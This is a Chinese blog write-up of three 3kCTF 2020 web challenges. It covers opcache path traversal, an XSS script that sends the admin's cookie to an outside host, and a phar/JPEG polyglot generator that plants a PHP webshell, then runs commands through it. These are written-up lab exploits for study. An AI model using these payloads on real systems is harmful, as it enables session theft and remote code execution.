3k ctf

2020-07-27 19:07:00
ctf - 3kctf

不愧是国外的比赛,就没一道会的。。。

carthagods

这题先是给了源码:

<?php
    if(@$_GET[*REDACTED*]){
        $file=$_GET[*REDACTED*];
        $f=file_get_contents('thecarthagods/'.$file);
        if (!preg_match("/<\?php/i", $f)){
            echo $f;
        }else{
            echo 'php content detected';
        }
    }
?>

这里删除了一个get的参数,需要寻找,我发现他将我们传入的路径拼接上一个thecarthagods,据此猜测有thecarthagods目录,尝试访问发现重定向到了:

thecarthagods/?eba1b61134bf5818771b8c3203a16dc9=thecarthagods

根据wp提示是因为源码中还给出一个htaccess配置文件,能够猜测出来使用了mod_rewrite

到这里就找到了被删除了的参数,那么尝试直接../读取etc/passwd发现可以读到,然而直接读flag.php发现不行,当时各种尝试读日志都发现不行,这里学到一个新姿势了。

根据wp题目给出了一个phpinfo,从里面可以提取到有用的信息。

Opache getshell

假设目标站点已经又一个phpinfo()文件了,通过这个文件可以得到Opcache缓存目录,还需要下一步计算system_id
system_id是当前PHP版本号,Zend扩展版本号以及各个数据类型大小的MD5哈希值
脚本地址:https://github.com/GoSecure/php7-opcache-override
此时可以利用上传漏洞将文件上传到web目录,但是目录没有读写的权限,这时候就可以通过/tmp/opcache/[system_id]/var/www/index.php.bin为一个webshell的二进制缓存运行webshell

从phpinfo从可以提取到opcache的目录为:

/var/www/cache/

利用工具:https://github.com/GoSecure/php7-opcache-override 获取到systemid

python system_id_scraper.py http://carthagods.3k.ctf.to:8039/info.php得到:

PHP version : 7.2.24-0ubuntu0.18.04.6
Zend Extension ID : API320170718,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : e2c6579e4df1d9e77e36d2f4ff8c92b3
PHP lower than 7.4 detected, an alternate Bin ID is possible:
Alternate Zend Bin ID : BIN_148888
Alternate System ID : 810741a4fc47bd39ce6351462f6db6c6

因为启用了opcache,并且我们已经得到了其路径和systemid,那么我们的flag.php.bin也会在该路径下,从phpinfo可以得到站点路径,因此我们的bin文件所在为:

/var/www/cache/e2c6579e4df1d9e77e36d2f4ff8c92b3/var/www/html/flag.php.bin

最后访问:

eba1b61134bf5818771b8c3203a16dc9=../../../../../../../../var/www/cache/e2c6579e4df1d9e77e36d2f4ff8c92b3/var/www/html/flag.php.bin
3k{Hail_the3000_years_7hat_are_b3h1nd}

xsser

代码审计:

<?php
include('flag.php');
class User

{
    public $name;
    public $isAdmin;
    public function __construct($nam)
    {
        $this->name = $nam;
        $this->isAdmin=False;
    }
}

ob_start();
if(!(isset($_GET['login']))){
    $use=new User('guest');
    $log=serialize($use);
    header("Location: ?login=$log");
    exit();

}

$new_name=$_GET['new'];
if (isset($new_name)){


  if(stripos($new_name, 'script'))//no xss :p 
                 { 
                    $new_name = htmlentities($new_name);
                 }
        $new_name = substr($new_name, 0, 32);
  echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1><br>';
  echo '<h1>Contact admin /req.php </h1>';

}
 if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
            setcookie("session", $flag, time() + 3600);
        }
$check=unserialize(substr($_GET['login'],0,56));
if ($check->isAdmin){
    echo 'welcome back admin ';
}
ob_end_clean();
show_source(__FILE__);

这道题有趣的地方就破坏掉ob_start这个函数,这个函数简介:

打开输出缓冲区,所有的输出信息不在直接发送到浏览器,而是保存在输出缓冲区里面,可选得回调函数用于处理输出结果信息。

也就是说我们没办法通过echo来看到输出的结果,需要打破这一个函数的限制。

我们默认访问该网址时他会把我们重定向到:

?login=O:4:"User":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:0;}

先看到触发xss,他这里限制了长度,做了点小过滤,因此可以用其他如img来触发xss。那么下面要解决的就是输出缓存的问题了,35C3 CTF - Web - php这道题使用的是fgets来获取输出缓存,下面是payload:

?login=O:4:"User":2:{s:4:"name";O:9:"Throwable":1:{};s:7:"isAdmin";b:0;}

说实话不是很懂什么意思,简单说下我的理解,这里大概就是利用报错把缓存区的数据输出出来,后面就是构造xss打管理员,需要绕过长度限制。

看wp说是后面是利用eval(name)来绕过长度限制,但xss绕过我不是很熟悉就没复现了。

后续又看了一下,反序列化这块是利用的致命错误(E_ERROE)使得缓存区的数据被输出出来,然后看了陆队给了的exp:

let a = document.createElement("a");
window.name = '(new Image).src="https://xxx/?a="+encodeURIComponent(document.cookie)';
a.href = `http://127.0.0.1/?login=O:8:%22DateTime%22:0:{}&new=%3Csvg/onload=eval(name)%3E`;
a.textContent = "hoge";
document.body.appendChild(a);
a.click();

发现了这个window.name这个东西,他可以直接用name来获取他的,所以这里就是让管理员访问这个页面,把cookie打到服务器上。

把这个页面挂上之后给管理员发个链接,管理员会去点,之后就x到了管理员的cookie了。

GET /?a=session%3D3k%257B3asy_XsS_%2526_pHp_Ftw%257D HTTP/1.1
Host: ip:port
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.0 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://127.0.0.1/?login=O:8:%22DateTime%22:0:{}&new=%3Csvg/onload=eval(name)%3E
Accept-Encoding: gzip, deflate
Accept-Language: en-US

image uploader

给出源码:

index.php

<?php

if (isset($_GET["img"])) {
    if(preg_match('/^(ftp|zlib|https?|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_GET['img'])){
        die("no hack !");}

$img=$_GET["img"].'.jpg';
$a='data:image/png;base64,' . base64_encode(file_get_contents($img));
echo "<img class='center' src='$a'>";
}

这里能看到缺了一个php:伪协议没被ban,有一个file_get_contents,并且这里协议只是检查起始位置,因此可以尝试用协议拼接来达成某些功能。

upload.index

if (empty($_FILES['image']))
  die('Image file is missing');

$image = $_FILES['image'];

if ($image['error'] !== 0) {
   if ($image['error'] === 1) 
      die('Max upload size exceeded');

   die('Image uploading error: INI Error');
}

if (!file_exists($image['tmp_name']))
    die('Image file is missing in the server');
 $maxFileSize = 2 * 10e6; // = 2 000 000 bytes = 2MB
    if ($image['size'] > $maxFileSize)
        die('Max size limit exceeded');
$imageData = getimagesize($image['tmp_name']);
     if (!$imageData) 
     die('Invalid image');
$mimeType = $imageData['mime'];
$allowedMimeTypes = ['image/jpeg'];
 if (!in_array($mimeType, $allowedMimeTypes)) 
    die('Only JPEG is allowed');
$d =  bin2hex(random_bytes(32)).'.jpg';
$filename='/var/www/html/up/'.$d;
move_uploaded_file($_FILES['image']['tmp_name'],$filename);
echo 'done -> '.$d;

上传这里校验了文件大小和文件类型,然后随机前缀拼接后缀之后进行上传,没想到怎么绕过。

还有一个old.php:

<?php
error_reporting(0);

class cl1 {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class cl2 {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {

            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {

            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

这个文件里面的两个类有写文件的功能,也许可以绕过达成任意写。

根据wp的思路是利用上传先上传一个jpg,内部为phar,然后用php伪协议配合phar协议来实现反序列化,具体如下:

php://filter/read/resource=phar://xxx.jpg/xxx

那么反序列化怎么构造?

先看到cl2有一个set方法,而cl1的store变量在save时会调用set方法,则反序列化时就会调用save如下:

class cl1 {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

那么再看看cl2的save:

class cl2 {

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {

            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {

            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

此时set的第一个参数$name也就理所当然是cl1的key了,此处传入一个文件名即可,但这里会把我们传入的文件写入一个exit,再看回cl1会发现我们的文件内容是$this->complete

那么怎么绕过这个exit?看看生成文件名的时候调用了getCacheKey,看看该函数:

public function getCacheKey(string $name): string {
    return $this->options['prefix'] . $name;
}

这里简单的拼接了路径,我们给$this->options['prefix']赋值为php的base64转换器即可绕过

现在把类写出来大致为:

<?php

function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed 
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}

include "old.php";

// pop exploit class
$cl2 = new cl2;
$cl1 = new cl1($cl2, "hhhm.php", null);

$cl1->cache = ["asd"];
$cl1->complete = "APD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="; //First A is for padding
$cl1->autosave = false;

$cl2->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$cl2->options['data_compress'] = false;
$cl2->options['serialize'] = 'serialize';

// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('2.jpg');
$outfile = 'out.jpg';
$payload = $cl1;
$prefix = '';
var_dump(serialize($cl1));
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

然后上传生成的jpg,访问:

img=php://filter/read/resource=phar://be13675b0d76bd648579a329d7022478529b9c9ef248b1c6850dd9909439fc38.jpg/asd

目录下生成了hhhm.php:

http://imageuploader.3k.ctf.to:8081/up/hhhm.php?cmd=ls

根目录有一个:

qUHwHtel41OiCDotoenbwdF5IgmWQ5_README 

读取:

up/hhhm.php?cmd=cat%20/qUHwHtel41OiCDotoenbwdF5IgmWQ5_README

题目复现wp源自:https://wrecktheline.com/writeups/3kctf-2020



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号